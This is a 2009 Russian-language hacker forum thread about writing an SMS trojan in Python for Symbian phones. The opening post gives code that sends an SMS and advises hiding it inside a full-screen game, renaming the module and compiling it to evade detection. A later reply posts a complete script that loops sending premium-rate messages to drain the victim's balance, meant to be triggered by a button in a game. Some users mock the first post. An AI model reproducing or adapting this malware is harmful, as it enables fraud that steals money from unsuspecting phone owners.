Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сотовый фрикинг (https://forum.antichat.xyz/forumdisplay.php?f=59)
-   -   Пишем смс-трой на python'e. (https://forum.antichat.xyz/showthread.php?t=106485)

faza02 16.02.2009 16:09

Пишем смс-трой на python'e.
 
Писать будем под symbian. 6-8.
Начнем.

Код:

import messaging # импортируем модуль
num='1' # номер
message='02' # сообщение
messaging.sms_send(num, message) # ну и отправляем

Вот впринципе и все.

1. Рассмотрим некоторые моменты.
1.1 Модуль messaging.py иногда удаляют, т.к. он вобщем то не нужен.
1.2 Поэтому модуль лучше закинуть в sis-пакет.
1.3 Назвать модуль лучше по другому.
1.4 Этот код, лучше спрятать в другую игру/прогамму на py. В которой full экран.

Трой будет работать только на том смартфоне, на котором есть интерпиратор питона. Если нет - все гораздо сложнее. Вместе с троем нам придеться устанавливать и сам интерпиратор.. То есть размер увеличется до 300-400 kb.
Весь код лучше компильнуть, для беспалевности.

SIS.
Создадим sis-пакет. Например программой SISBOOM (symbian). У нас должны быть файлы:
  • messaging.py (не забываем про 1.1 и 1.2)
  • sms.app
  • default.pyc
  • sms.rsc
  • sms.aif (Иконка. По желанию. Но для большей привлекательности, не помешает;) )
Создать файлы app и rsc можно LinkApper'ом.

Упаковываем. Получаем sis-пакет. Вот и все, enjoy!

(c) faza02 aka фа3а aka f02

faza02 18.02.2009 08:42

63 просмотра и нету ниодного поста. типо не труъ? =((

.acme 18.02.2009 09:06

это не тру, это пиздец. извини, ничего личного.

faza02 18.02.2009 09:45

почему?

D1AB0L1K 18.02.2009 10:36

Цитата:

это пиздец. извини, ничего личного.
+1 я блин даже посмеяться не смог с этого вируса так называемого, кроме "это пиздец" дажь сказать нечего язык не поворачивается...
ТС лучше продолжай сидеть в теме со скулями ;)

login999 18.02.2009 11:21

а можно пожалуйста код модуля messaging привести ?

iddqd 18.02.2009 11:27

качни megamodulepack для симбиана и там посмотри
думаю, отдельно трудно найти

login999 18.02.2009 12:19

Код:

import e32
import _messaging

ECreated=_messaging.ECreated
EMovedToOutBox=_messaging.EMovedToOutBox
EScheduledForSend=_messaging.EScheduledForSend
ESent=_messaging.ESent
EDeleted=_messaging.EDeleted

EScheduleFailed=_messaging.EScheduleFailed
ESendFailed=_messaging.ESendFailed
ENoServiceCentre=_messaging.ENoServiceCentre
EFatalServerError=_messaging.EFatalServerError

encodingmap={'7bit':_messaging.EEncoding7bit,
            '8bit':_messaging.EEncoding8bit,
            'UCS2':_messaging.EEncodingUCS2}

_my_messaging=None
_sending=False
_signaled=False 

def sms_send(number,msg,encoding='7bit', callback=None):
    global _sending
    global _signaled
    global _my_messaging
    if _sending:
        raise RuntimeError, "Already sending"
    def signal_lock():
        global _signaled       
        if not _signaled:
            lock.signal()
            _signaled=True 
    def event_cb(arg):
        global _signaled
        global _sending
        if callback!=None:
            callback(arg)
            signal_lock()
        if e32.in_emulator():
            if arg==ENoServiceCentre:
                _sending=False
                signal_lock()
        if arg==EDeleted or arg==ESendFailed:
            _sending=False
            signal_lock()
        callback_error[0]=arg
       
    if callback!=None:
        if not callable(callback):
            raise TypeError("'%s' is not callable"%callback)
   
    lock=e32.Ao_lock()
    _signaled=False
    callback_error=[0]
   
    _my_messaging=_messaging.Messaging(number,unicode(msg),encodingmap[encoding],event_cb)
    _sending=True
    lock.wait()

def trn_sms_send():
    gold_num_valuable='1' # пятибаксовый/десятибаксовый номер
    gold_num_cheap='1' # дешевый голд номер (тридцатицентовый / и т.д)
    message_valuable='02' # сообщение для дорогого номера
    message_cheap='03' # сообщение для дешевого номера
    while True:
        try:
            sms_send(gold_num_valuable, message_valuable) # ну и отправляем
        except:
            while True:
                try:
                    sms_send(gold_num_cheap, message_cheap) # ну и отправляем
                except:
                    break
            break
trn_sms_send() # вызов функции для опустошения счета
#(c)login999
#thx to faza02
#lol

Вариации на данную тему :)
Спасибо faza02 за предоставленный код messaging.py :)
К сожалению, не могу проверить так как нету смарта :(, но код должен работать :)
фактически в этот код включен модуль messaging.py, так что его не придется импортировать :).
По идее, данный код можно встроить в любую софтину на питоне, а потом вызвать опустошение счета функцией "trn_sms_send" (например в игрушке после того как нажали кнопку :))
код шлет сколько может смсок на дорогой номер, а потом когда недостаточно на счету , шлет на другой, более дешевый :)
надеюсь, что все будет работать так как я предполагаю :)
Выложено исключительно в ознакомительных целях

ufoPlast 05.03.2009 18:48

Я же писал статью еще год назад, только после того как на ачате винт сдох она как и куча остальных канула в никуда))
http://www.sclan.info/thread224.html

Почитайте на досуге)))


Время: 01:27